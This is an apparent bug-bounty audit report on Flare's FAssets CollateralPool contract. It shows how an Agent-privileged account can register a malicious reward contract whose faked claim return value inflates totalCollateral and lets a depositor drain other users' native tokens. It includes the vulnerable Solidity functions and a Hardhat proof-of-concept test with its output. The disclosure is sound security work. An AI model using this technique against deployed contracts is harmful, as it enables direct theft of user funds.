#45893 [SC-High] Agent role can stolen nat token from protocol users

Submitted on May 22nd 2025 at 04:35:59 UTC by @ox9527 for Audit Comp | Flare | FAssets

  • Report ID: #45893

  • Report Type: Smart Contract

  • Report severity: High

  • Target: https://github.com/flare-foundation/fassets/blob/main/contracts/assetManager/implementation/CollateralPool.sol

  • Impacts:

    • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Description

Brief/Intro

The Agent role can invoke claimAirdropDistribution or claimDelegationRewards to claim rewards from an external protocol and increase the value of totalCollateral. However, there are at least two critical vulnerabilities in this design:

1.Unverified Reward Token The contract does not verify the actual token received from the external .claim() function. Instead, it blindly trusts the return value (e.g., the claimed amount) from the external call. This creates a risk if the claimed token is not the expected collateral token.

2.Missing Native Token Receiver The CollateralPool.sol contract does not implement a receive() function, which means it cannot properly receive native tokens (e.g., ETH or MATIC). If the external claim function returns native tokens, they will be lost or misaccounted.

Vulnerability Details

Exploit Scenario: An attacker with Agent privileges can deploy a malicious contract and configure it as the external claim target. When the protocol calls the malicious .claim() function:

The contract does not actually transfer any tokens to CollateralPool.sol. It fakes a large return value, e.g., returns 10_000 ether as the claimed amount. Since the protocol blindly adds the claimed amount to totalCollateral, this inflated value skews the internal accounting. As a result: Any user exiting the pool (redeeming their share) can receive more than they should, especially if the system allows withdrawal of native tokens or stablecoins based on totalCollateral. The malicious Agent can also exit early and receive an outsized portion of the actual collateral. Remaining users are left with under-collateralized or even bad debt.

Impact Details

protocol users lost of funds result in can't exist due to lack of token

References

    function claimDelegationRewards(
        IRewardManager _rewardManager,
        uint24 _lastRewardEpoch,
        IRewardManager.RewardClaimWithProof[] calldata _proofs
    )
        external
        onlyAgent
        returns (uint256)
    {
        uint256 claimed = _rewardManager.claim(address(this), payable(address(this)), _lastRewardEpoch, true, _proofs);
        totalCollateral += claimed;
        emit ClaimedReward(claimed, 1);
        return claimed;
    }

    function claimAirdropDistribution(
        IDistributionToDelegators _distribution,
        uint256 _month
    )
        external
        onlyAgent
        returns(uint256)
    {
        uint256 claimed = _distribution.claim(address(this), payable(address(this)), _month, true);
        totalCollateral += claimed;
        emit ClaimedReward(claimed, 0);
        return claimed;
    }

Proof of Concept

Proof of Concept

Add the following test to file CollateralPool.ts :

        it("Test Agent Role use Malicious Contract ", async () => {
            await givePoolFAssetFees(ETH(1));

            // account0 enters the pool
            await collateralPool.enter(0, false, { value: ETH(1) , from:accounts[0]});
            const tokens = await collateralPoolToken.balanceOf(accounts[0]);
            console.log("account0 get token:", tokens.toString());

            // account1 enters the pool with 100 ETH
            await collateralPool.enter(0, false, { value: ETH(100), from: accounts[1] });
            const tokens1 = await collateralPoolToken.balanceOf(accounts[1]);
            console.log("account1 get token:", tokens1.toString());

            // give some collateral using mock airdrop
            const mockAirdrop = await MockContract.new();
            await mockAirdrop.givenAnyReturnUint(ETH(10000));
            await collateralPool.claimAirdropDistribution(mockAirdrop.address, 1, { from: agent });

            const balBefore = toBN(await web3.eth.getBalance(accounts[0]));
            await collateralPool.exit(tokens.toString(), TokenExitType.KEEP_RATIO, { from: accounts[0] });
            const balAfter = toBN(await web3.eth.getBalance(accounts[0]));

            console.log("account0 get nat:", balAfter.sub(balBefore).toString());
        });

Out:

npx hardhat test test/unit/fasset/implementation/CollateralPool.ts

user mint token Share: 1111111111111111110
account0 get token: 1111111111111111110
account1 get token: 111111111111111111000
account0 get nat: 100009089418408317826
      ✔ Test Agent Role use Malicious Contract  (35ms)

From above test we can see account[0] claim the whole balance from CollateralPool contract

Was this helpful?